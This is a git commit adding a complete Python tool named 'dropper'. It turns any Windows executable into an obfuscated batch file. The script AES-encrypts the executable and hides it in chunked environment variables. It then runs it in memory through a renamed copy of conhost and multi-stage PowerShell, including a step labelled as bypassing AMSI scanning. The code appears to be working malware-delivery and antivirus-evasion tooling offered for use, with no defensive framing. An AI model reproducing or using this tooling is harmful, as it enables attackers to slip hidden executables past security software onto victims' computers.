initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,5 @@
|
||||
JUNK_DENSITY = 2
|
||||
JUNK_BLOCKS = 25
|
||||
PAYLOAD_CHUNK_SIZE = 2800
|
||||
OUTPUT_NAME_LENGTH = 9
|
||||
AES_KEY_SIZE = 32
|
||||
@@ -0,0 +1,2 @@
|
||||
from .cli import main
|
||||
main()
|
||||
@@ -0,0 +1,4 @@
|
||||
import sys, os
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
from dropper.cli import main
|
||||
main()
|
||||
@@ -0,0 +1,33 @@
|
||||
import sys, os
|
||||
try:
|
||||
from .generator import generate
|
||||
except ImportError:
|
||||
from generator import generate
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"usage: python -m dropper <input.exe> [output.bat]")
|
||||
sys.exit(1)
|
||||
|
||||
input_path = sys.argv[1]
|
||||
output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
|
||||
|
||||
if not os.path.exists(input_path):
|
||||
print(f"file not found: {input_path}")
|
||||
sys.exit(1)
|
||||
|
||||
with open(input_path, 'rb') as f:
|
||||
exe_data = f.read()
|
||||
|
||||
if not exe_data:
|
||||
print("empty file")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"in: {input_path}")
|
||||
print(f"out: {output_path}")
|
||||
|
||||
if generate(exe_data, output_path):
|
||||
print(f"\ndone: {output_path}")
|
||||
else:
|
||||
print("failed")
|
||||
sys.exit(1)
|
||||
@@ -0,0 +1,126 @@
|
||||
import os
|
||||
try:
|
||||
from . import AES_KEY_SIZE
|
||||
except ImportError:
|
||||
AES_KEY_SIZE = 32
|
||||
|
||||
SBOX = [
|
||||
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
|
||||
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
|
||||
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
|
||||
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
|
||||
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
|
||||
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
|
||||
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
|
||||
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
|
||||
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
|
||||
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
|
||||
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
|
||||
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
|
||||
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
|
||||
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
|
||||
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
|
||||
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
|
||||
]
|
||||
|
||||
RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]
|
||||
|
||||
def _xtime(a):
|
||||
return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
|
||||
|
||||
def _mix_single(a):
|
||||
t = a[0] ^ a[1] ^ a[2] ^ a[3]
|
||||
u = a[0]
|
||||
a[0] ^= _xtime(a[0] ^ a[1]) ^ t
|
||||
a[1] ^= _xtime(a[1] ^ a[2]) ^ t
|
||||
a[2] ^= _xtime(a[2] ^ a[3]) ^ t
|
||||
a[3] ^= _xtime(a[3] ^ u) ^ t
|
||||
|
||||
def _key_expansion(key):
|
||||
nk = len(key) // 4
|
||||
nr = nk + 6
|
||||
w = [key[4*i:4*i+4] for i in range(nk)]
|
||||
for i in range(nk, 4*(nr+1)):
|
||||
temp = list(w[i-1])
|
||||
if i % nk == 0:
|
||||
temp = [SBOX[temp[1]] ^ RCON[i//nk-1], SBOX[temp[2]], SBOX[temp[3]], SBOX[temp[0]]]
|
||||
elif nk > 6 and i % nk == 4:
|
||||
temp = [SBOX[b] for b in temp]
|
||||
w.append(bytes([a ^ b for a, b in zip(w[i-nk], temp)]))
|
||||
round_keys = []
|
||||
for r in range(nr + 1):
|
||||
rk = b''
|
||||
for i in range(4):
|
||||
rk += w[r*4 + i]
|
||||
round_keys.append(rk)
|
||||
return round_keys
|
||||
|
||||
def _encrypt_block(block, round_keys):
|
||||
nr = len(round_keys) - 1
|
||||
state = [list(block[i:i+4]) for i in range(0, 16, 4)]
|
||||
s = [[state[j][i] for j in range(4)] for i in range(4)]
|
||||
|
||||
for i in range(4):
|
||||
for j in range(4):
|
||||
s[i][j] ^= round_keys[0][i*4+j]
|
||||
|
||||
for rnd in range(1, nr + 1):
|
||||
for i in range(4):
|
||||
for j in range(4):
|
||||
s[i][j] = SBOX[s[i][j]]
|
||||
s[1] = s[1][1:] + s[1][:1]
|
||||
s[2] = s[2][2:] + s[2][:2]
|
||||
s[3] = s[3][3:] + s[3][:3]
|
||||
if rnd < nr:
|
||||
for j in range(4):
|
||||
col = [s[i][j] for i in range(4)]
|
||||
_mix_single(col)
|
||||
for i in range(4):
|
||||
s[i][j] = col[i]
|
||||
for i in range(4):
|
||||
for j in range(4):
|
||||
s[i][j] ^= round_keys[rnd][i*4+j]
|
||||
|
||||
result = bytearray(16)
|
||||
for i in range(4):
|
||||
for j in range(4):
|
||||
result[i*4+j] = s[i][j]
|
||||
return bytes(result)
|
||||
|
||||
def _pkcs7_pad(data, block_size=16):
|
||||
pad_len = block_size - (len(data) % block_size)
|
||||
return data + bytes([pad_len] * pad_len)
|
||||
|
||||
def _aes_cbc_encrypt(plaintext, key, iv):
|
||||
padded = _pkcs7_pad(plaintext)
|
||||
round_keys = _key_expansion(key)
|
||||
ciphertext = b''
|
||||
prev = iv
|
||||
for i in range(0, len(padded), 16):
|
||||
block = padded[i:i+16]
|
||||
xored = bytes([a ^ b for a, b in zip(block, prev)])
|
||||
encrypted = _encrypt_block(xored, round_keys)
|
||||
ciphertext += encrypted
|
||||
prev = encrypted
|
||||
return ciphertext
|
||||
|
||||
def _try_system_aes(data, key, iv):
|
||||
try:
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
from cryptography.hazmat.primitives import padding
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
padder = padding.PKCS7(128).padder()
|
||||
padded = padder.update(data) + padder.finalize()
|
||||
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
|
||||
enc = cipher.encryptor()
|
||||
return enc.update(padded) + enc.finalize()
|
||||
except ImportError:
|
||||
return None
|
||||
|
||||
def encrypt_payload(data, key, iv):
|
||||
result = _try_system_aes(data, key, iv)
|
||||
if result is not None:
|
||||
print("using system aes")
|
||||
return result
|
||||
print("using pure python aes (slow)")
|
||||
return _aes_cbc_encrypt(data, key, iv)
|
||||
@@ -0,0 +1,325 @@
|
||||
import os, random, string, base64
|
||||
try:
|
||||
from . import AES_KEY_SIZE, PAYLOAD_CHUNK_SIZE, OUTPUT_NAME_LENGTH, JUNK_BLOCKS
|
||||
from .rand import rand_str, rand_var, rand_label, rand_case
|
||||
from .obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
|
||||
from .crypto import encrypt_payload
|
||||
except ImportError:
|
||||
AES_KEY_SIZE = 32
|
||||
PAYLOAD_CHUNK_SIZE = 2800
|
||||
OUTPUT_NAME_LENGTH = 9
|
||||
JUNK_BLOCKS = 25
|
||||
from rand import rand_str, rand_var, rand_label, rand_case
|
||||
from obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
|
||||
from crypto import encrypt_payload
|
||||
|
||||
|
||||
def generate(exe_data, output_path):
|
||||
print(f"input: {len(exe_data)} bytes")
|
||||
|
||||
key = os.urandom(AES_KEY_SIZE)
|
||||
iv = os.urandom(16)
|
||||
print(f"aes-{AES_KEY_SIZE*8} key gen")
|
||||
|
||||
encrypted = encrypt_payload(exe_data, key, iv)
|
||||
payload = iv + encrypted
|
||||
print(f"encrypted: {len(payload)} bytes")
|
||||
|
||||
b64_payload = base64.b64encode(payload).decode('ascii')
|
||||
print(f"b64: {len(b64_payload)} chars")
|
||||
|
||||
payload_vars = []
|
||||
chunks = []
|
||||
for i in range(0, len(b64_payload), PAYLOAD_CHUNK_SIZE):
|
||||
chunk = b64_payload[i:i+PAYLOAD_CHUNK_SIZE]
|
||||
var_name = rand_var(6, 12)
|
||||
payload_vars.append(var_name)
|
||||
chunks.append((var_name, chunk))
|
||||
print(f"split into {len(chunks)} chunks")
|
||||
|
||||
order_list = '!'.join(payload_vars)
|
||||
print(f"order list: {len(order_list)} chars")
|
||||
|
||||
num_fragments = random.randint(max(len(chunks) // 3, 8), max(len(chunks) // 2, 15))
|
||||
fragments = []
|
||||
fragment_vars = []
|
||||
|
||||
parts = order_list.split('!')
|
||||
parts_per_fragment = max(1, len(parts) // num_fragments)
|
||||
|
||||
for i in range(0, len(parts), parts_per_fragment):
|
||||
fragment_parts = parts[i:i+parts_per_fragment]
|
||||
fragment = '!'.join(fragment_parts)
|
||||
if i + parts_per_fragment < len(parts):
|
||||
fragment += '!'
|
||||
|
||||
var_name = rand_var(6, 12)
|
||||
fragments.append(fragment)
|
||||
fragment_vars.append(var_name)
|
||||
|
||||
print(f"made {len(fragment_vars)} fragments")
|
||||
|
||||
concat_var_name = rand_var(8, 14)
|
||||
output_exe_name = rand_str(OUTPUT_NAME_LENGTH, OUTPUT_NAME_LENGTH, string.ascii_letters + string.digits) + '.exe'
|
||||
|
||||
lines = []
|
||||
|
||||
lines.append(f'echo {rand_str(2,5)} > nul')
|
||||
lines.append('@echo off')
|
||||
lines.extend(make_junk_block())
|
||||
lines.append(make_rem_line())
|
||||
|
||||
setup_label = rand_label()
|
||||
lines.append(f':{setup_label}')
|
||||
lines.append('')
|
||||
|
||||
v_conpath = rand_var(6, 10)
|
||||
v_nhost = rand_var(5, 8)
|
||||
v_windir_set = rand_var(5, 8)
|
||||
v_sysnative = rand_var(6, 10)
|
||||
v_conh = rand_var(5, 8)
|
||||
v_exe_ext = rand_var(5, 8)
|
||||
|
||||
lines.append(make_set_cmd(v_nhost, 'nhost.'))
|
||||
lines.append(make_set_cmd(v_windir_set, f'%windir%\\'))
|
||||
lines.append(make_set_cmd(v_sysnative, 'Sysnativ'))
|
||||
lines.append(make_set_cmd(v_conh, 'e\\co'))
|
||||
lines.append(make_set_cmd(v_exe_ext, 'exe'))
|
||||
|
||||
v_set_prefix = rand_var(5, 8)
|
||||
v_owi = rand_var(6, 10)
|
||||
lines.append(make_set_cmd(v_set_prefix, 'SeT '))
|
||||
lines.append(make_set_cmd(v_owi, f'{v_conpath}='))
|
||||
lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_windir_set}%%{v_sysnative}%%{v_conh}%%{v_nhost}%%{v_exe_ext}%')
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
check_label = rand_label()
|
||||
fallback_label = rand_label()
|
||||
lines.append(f':{check_label}')
|
||||
|
||||
v_if_set = rand_var(5, 8)
|
||||
v_exist_set = rand_var(5, 8)
|
||||
v_path_set = rand_var(5, 8)
|
||||
v_then_set = rand_var(5, 8)
|
||||
v_then_marker = rand_var(5, 8)
|
||||
|
||||
lines.append(make_set_cmd(v_if_set, 'if '))
|
||||
lines.append(make_set_cmd(v_exist_set, 'exist '))
|
||||
lines.append(make_set_cmd(v_path_set, f'%{v_conpath}% '))
|
||||
lines.append(make_set_cmd(v_then_set, 'SET '))
|
||||
lines.append(make_set_cmd(v_then_marker, f'{v_conpath}='))
|
||||
lines.append(f'%{v_if_set}%%{v_exist_set}%%{v_path_set}%%{v_then_set}%%{v_then_marker}%%{v_conpath}%')
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
lines.append(f':{fallback_label}')
|
||||
v_sys32_set = rand_var(5, 8)
|
||||
v_sys32_conh = rand_var(5, 8)
|
||||
|
||||
lines.append(make_set_cmd(v_sys32_set, f'%windir%\\'))
|
||||
lines.append(make_set_cmd(v_sys32_conh, 'System32\\co'))
|
||||
lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_sys32_set}%%{v_sys32_conh}%%{v_nhost}%%{v_exe_ext}%')
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
copy_label = rand_label()
|
||||
lines.append(f':{copy_label}')
|
||||
|
||||
name_parts = [output_exe_name[:3], output_exe_name[3:-4], '.ex', 'e']
|
||||
v_parts = []
|
||||
for part in name_parts:
|
||||
v = rand_var(5, 8)
|
||||
v_parts.append(v)
|
||||
lines.append(make_set_cmd(v, part))
|
||||
|
||||
v_copy_cmd = rand_var(5, 8)
|
||||
v_tmp_dir = rand_var(5, 8)
|
||||
v_sp = rand_var(5, 8)
|
||||
|
||||
lines.append(make_set_cmd(v_copy_cmd, 'copy'))
|
||||
lines.append(make_set_cmd(v_tmp_dir, f'%tmp%\\'))
|
||||
lines.append(make_set_cmd(v_sp, f' %{v_conpath}% '))
|
||||
|
||||
copy_line = f'%{v_copy_cmd}%%{v_sp}%%{v_tmp_dir}%'
|
||||
for v in v_parts:
|
||||
copy_line += f'%{v}%'
|
||||
lines.append(copy_line)
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
payload_section_label = rand_label()
|
||||
lines.append(f':{payload_section_label}')
|
||||
|
||||
shuffled_indices = list(range(len(chunks)))
|
||||
random.shuffle(shuffled_indices)
|
||||
|
||||
for idx in shuffled_indices:
|
||||
var_name, chunk_data = chunks[idx]
|
||||
lines.append(f'{rand_case("SET")} {var_name}={chunk_data}')
|
||||
if random.random() > 0.65:
|
||||
lines.append(make_rem_line())
|
||||
if random.random() > 0.85:
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
concat_label = rand_label()
|
||||
lines.append(f':{concat_label}')
|
||||
|
||||
for var_name, fragment in zip(fragment_vars, fragments):
|
||||
if random.random() > 0.5:
|
||||
lines.append(f'{rand_case("SET")} "{var_name}={fragment}"')
|
||||
else:
|
||||
lines.append(f'{rand_case("SET")} "{var_name}={fragment}" && {make_rem_line()}')
|
||||
if random.random() > 0.7:
|
||||
lines.append(make_rem_line())
|
||||
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
concat_value = ''.join(f'%{var}%' for var in fragment_vars)
|
||||
lines.append(f'{rand_case("SET")} "{concat_var_name}={concat_value}"')
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
ps_stage_label = rand_label()
|
||||
lines.append(f':{ps_stage_label}')
|
||||
|
||||
v_stage1 = rand_var(6, 10)
|
||||
v_stage2 = rand_var(6, 10)
|
||||
v_stage3 = rand_var(6, 10)
|
||||
v_stage4 = rand_var(6, 10)
|
||||
v_stage5 = rand_var(6, 10)
|
||||
|
||||
key_ps = ','.join(str(b) for b in key)
|
||||
|
||||
v_aes_obj = rand_var(6, 10)
|
||||
v_enc_data = rand_var(6, 10)
|
||||
v_decryptor = rand_var(5, 8)
|
||||
v_decrypted = rand_var(6, 10)
|
||||
v_asm = rand_var(5, 8)
|
||||
|
||||
decrypt_parts = [
|
||||
f"${v_aes_obj} = [System.Security.Cry",
|
||||
f"pto",
|
||||
f"graphy.AESCryptoS",
|
||||
f"ervice",
|
||||
f"Provid",
|
||||
f"er]::new();${v_aes_obj}.Mo",
|
||||
f"De = [System.Security.C",
|
||||
f"ryptogra",
|
||||
f"phy.CipherMode]::cb",
|
||||
f"C;${v_aes_obj}.pa",
|
||||
f"D",
|
||||
f"ding = [",
|
||||
f"Sys",
|
||||
f"tem.Se",
|
||||
f"c",
|
||||
f"urity.Cryptograph",
|
||||
f"y",
|
||||
f".Padd",
|
||||
f"ingMod",
|
||||
f"e]::PKcS",
|
||||
f"7;${v_aes_obj}",
|
||||
f".",
|
||||
f"k",
|
||||
f"Ey = [byte",
|
||||
f"[]]@({key_ps});",
|
||||
f"${v_enc_data} = [",
|
||||
f"Conv",
|
||||
f"ert",
|
||||
f"]::FromBase64String(-join ($env:{concat_var_name}.Split('!')).For",
|
||||
f"Each({{(Get-Item \"env",
|
||||
f":$_\").Value}}));${v_aes_obj}.IV = ${v_enc_data}",
|
||||
f"[",
|
||||
f"0..15];",
|
||||
f"${v_decryptor}=${v_aes_obj}.cREAtEDecRy",
|
||||
f"pTOR();${v_decrypted}=${v_decryptor}.tRANsfORmfInaLBLock(",
|
||||
f"${v_enc_data}[16..${v_enc_data}.Length], 0,",
|
||||
f"${v_enc_data}.LenG",
|
||||
f"T",
|
||||
f"H-16);${v_asm} =",
|
||||
f"[Syst",
|
||||
f"em.Reflection.A",
|
||||
f"sse",
|
||||
f"mbly]::lOaD",
|
||||
f"(${v_decrypted}",
|
||||
f");${v_asm}.eNt",
|
||||
f"RYPoI",
|
||||
f"NT.Inv",
|
||||
f"oke($null, $n",
|
||||
f"ul",
|
||||
f"l);"
|
||||
]
|
||||
|
||||
obfuscated_decrypt = ''
|
||||
for i, part in enumerate(decrypt_parts):
|
||||
if random.random() > 0.7 and i > 0:
|
||||
junk_var = rand_var(5, 10)
|
||||
obfuscated_decrypt += f'%{junk_var}%'
|
||||
obfuscated_decrypt += part
|
||||
|
||||
decrypt_code = obfuscated_decrypt
|
||||
lines.append(make_set_cmd(v_stage2, decrypt_code))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
entry_code = f'iex $env:{v_stage2}'
|
||||
lines.append(make_set_cmd(v_stage5, entry_code))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
v_amsi_psauto = rand_var(6, 10)
|
||||
v_amsi_ast = rand_var(5, 8)
|
||||
amsi_code = (
|
||||
f"${v_amsi_psauto} = [ScriptBlock]::Create('').Ast; "
|
||||
f"${v_amsi_ast} = [System.Management.Automation.Language.ScriptBlockAst]::new("
|
||||
f"${v_amsi_psauto}.Extent,$null,$null,$null,"
|
||||
f"${v_amsi_ast}.EndBlock.Copy(),$null); "
|
||||
f"iex $env:{v_stage5}"
|
||||
)
|
||||
lines.append(make_set_cmd(v_stage3, amsi_code))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
v_sb = rand_var(5, 8)
|
||||
trigger_code = f"${v_sb} = [ScriptBlock]::Create('').Ast; iex $env:{v_stage3}"
|
||||
lines.append(make_set_cmd(v_stage4, trigger_code))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
sleep_code = f'Start-Sleep -Seconds {random.randint(1, 3)};iex $env:{v_stage4}'
|
||||
lines.append(make_set_cmd(v_stage1, sleep_code))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
v_toplevel = rand_var(5, 8)
|
||||
v_wrapper = rand_var(6, 10)
|
||||
wrapper_code = f"${v_toplevel} = 'placeholder'; iex $env:{v_stage1}"
|
||||
lines.append(make_set_cmd(v_wrapper, wrapper_code))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
launch_label = rand_label()
|
||||
lines.append(f':{launch_label}')
|
||||
|
||||
v_launch_flag = rand_var(6, 10)
|
||||
lines.append(make_set_cmd(v_launch_flag, f'iex $env:{v_wrapper}'))
|
||||
lines.extend(make_junk_block())
|
||||
|
||||
lines.append(f'start %tmp%\\{output_exe_name} --headless powershell -c %{v_launch_flag}%')
|
||||
|
||||
end_label = rand_label()
|
||||
lines.append(make_goto_cmd(end_label))
|
||||
for _ in range(random.randint(3, 8)):
|
||||
lines.append(make_rem_line())
|
||||
lines.append(f':{end_label}')
|
||||
|
||||
final_lines = []
|
||||
junk_count = 0
|
||||
for line in lines:
|
||||
final_lines.append(line)
|
||||
if junk_count < JUNK_BLOCKS and random.random() > 0.88:
|
||||
final_lines.extend(make_junk_block())
|
||||
junk_count += 1
|
||||
|
||||
bat_content = '\r\n'.join(final_lines)
|
||||
with open(output_path, 'w', encoding='utf-8') as f:
|
||||
f.write(bat_content)
|
||||
|
||||
print(f"\ndone: {output_path}")
|
||||
print(f"tmp exe: {output_exe_name}")
|
||||
print(f"lines: {len(final_lines)}")
|
||||
print(f"chunks: {len(chunks)}")
|
||||
print(f"size: {len(bat_content):,} bytes")
|
||||
print(f"key: {key.hex()}")
|
||||
return True
|
||||
@@ -0,0 +1,42 @@
|
||||
import random
|
||||
try:
|
||||
from .rand import rand_var, rand_case, rand_words, rand_label
|
||||
except ImportError:
|
||||
from rand import rand_var, rand_case, rand_words, rand_label
|
||||
|
||||
def make_junk_var():
|
||||
return f'%{rand_var()}%'
|
||||
|
||||
def make_set_cmd(var_name, value, obfuscate=True):
|
||||
set_cmd = rand_case('set')
|
||||
if obfuscate:
|
||||
fmt = f'{set_cmd} "{var_name}={value}"'
|
||||
prefix = make_junk_var() if random.random() > 0.5 else ''
|
||||
return f'{prefix}{fmt}'
|
||||
return f'{set_cmd} "{var_name}={value}"'
|
||||
|
||||
def make_goto_cmd(label):
|
||||
goto = rand_case('goto')
|
||||
g = goto[0] + make_junk_var() + goto[1] + make_junk_var() + goto[2:]
|
||||
return f'{g} :{label}'
|
||||
|
||||
def make_rem_line():
|
||||
rem = rand_case('rem')
|
||||
style = random.choice(['rem', '::', 'rem_junk'])
|
||||
if style == 'rem':
|
||||
r = rem[0] + make_junk_var() + rem[1:]
|
||||
return f'{r} {make_junk_var()} {rand_words()}'
|
||||
elif style == '::':
|
||||
return f'{make_junk_var()}:: {make_junk_var()} {rand_words()}'
|
||||
else:
|
||||
r = rand_case('rem')
|
||||
return f'%{rand_var()}%{r} %{rand_var()}% {rand_words()}'
|
||||
|
||||
def make_junk_block():
|
||||
lines = []
|
||||
next_label = rand_label()
|
||||
lines.append(make_goto_cmd(next_label))
|
||||
for _ in range(random.randint(1, 3)):
|
||||
lines.append(make_rem_line())
|
||||
lines.append(f':{next_label}')
|
||||
return lines
|
||||
@@ -0,0 +1,33 @@
|
||||
import random, string
|
||||
|
||||
def rand_str(min_len=5, max_len=10, charset=None):
|
||||
if charset is None:
|
||||
charset = string.ascii_letters + string.digits
|
||||
length = random.randint(min_len, max_len)
|
||||
return ''.join(random.choice(charset) for _ in range(length))
|
||||
|
||||
def rand_var(min_len=6, max_len=12):
|
||||
first = random.choice(string.ascii_letters)
|
||||
rest = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(min_len-1, max_len-1)))
|
||||
return first + rest
|
||||
|
||||
def rand_label(min_len=5, max_len=10):
|
||||
chars = string.ascii_letters + string.digits + '[]{}()_'
|
||||
first = random.choice(string.ascii_letters)
|
||||
rest = ''.join(random.choice(chars) for _ in range(random.randint(min_len-1, max_len-1)))
|
||||
return first + rest
|
||||
|
||||
def rand_word():
|
||||
vowels = 'aeiou'
|
||||
consonants = 'bcdfghjklmnpqrstvwxyz'
|
||||
length = random.randint(3, 12)
|
||||
word = ''
|
||||
for i in range(length):
|
||||
word += random.choice(consonants) if i % 2 == 0 else random.choice(vowels)
|
||||
return word
|
||||
|
||||
def rand_words(min_count=3, max_count=10):
|
||||
return ' '.join(rand_word() for _ in range(random.randint(min_count, max_count)))
|
||||
|
||||
def rand_case(s):
|
||||
return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in s)
|
||||
@@ -0,0 +1,39 @@
|
||||
import sys, os
|
||||
|
||||
JUNK_DENSITY = 2
|
||||
JUNK_BLOCKS = 25
|
||||
PAYLOAD_CHUNK_SIZE = 2800
|
||||
OUTPUT_NAME_LENGTH = 9
|
||||
AES_KEY_SIZE = 32
|
||||
|
||||
exec(open('rand.py').read())
|
||||
exec(open('crypto.py').read())
|
||||
exec(open('obfuscation.py').read())
|
||||
exec(open('generator.py').read().replace('from . import', '#').replace('from .rand import', '#').replace('from .obfuscation import', '#').replace('from .crypto import', '#'))
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print(f"usage: python run.py <input.exe> [output.bat]")
|
||||
sys.exit(1)
|
||||
|
||||
input_path = sys.argv[1]
|
||||
output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
|
||||
|
||||
if not os.path.exists(input_path):
|
||||
print(f"file not found: {input_path}")
|
||||
sys.exit(1)
|
||||
|
||||
with open(input_path, 'rb') as f:
|
||||
exe_data = f.read()
|
||||
|
||||
if not exe_data:
|
||||
print("empty file")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"in: {input_path}")
|
||||
print(f"out: {output_path}")
|
||||
|
||||
if generate(exe_data, output_path):
|
||||
print(f"\ndone: {output_path}")
|
||||
else:
|
||||
print("failed")
|
||||
sys.exit(1)
|
||||
Reference in New Issue
Block a user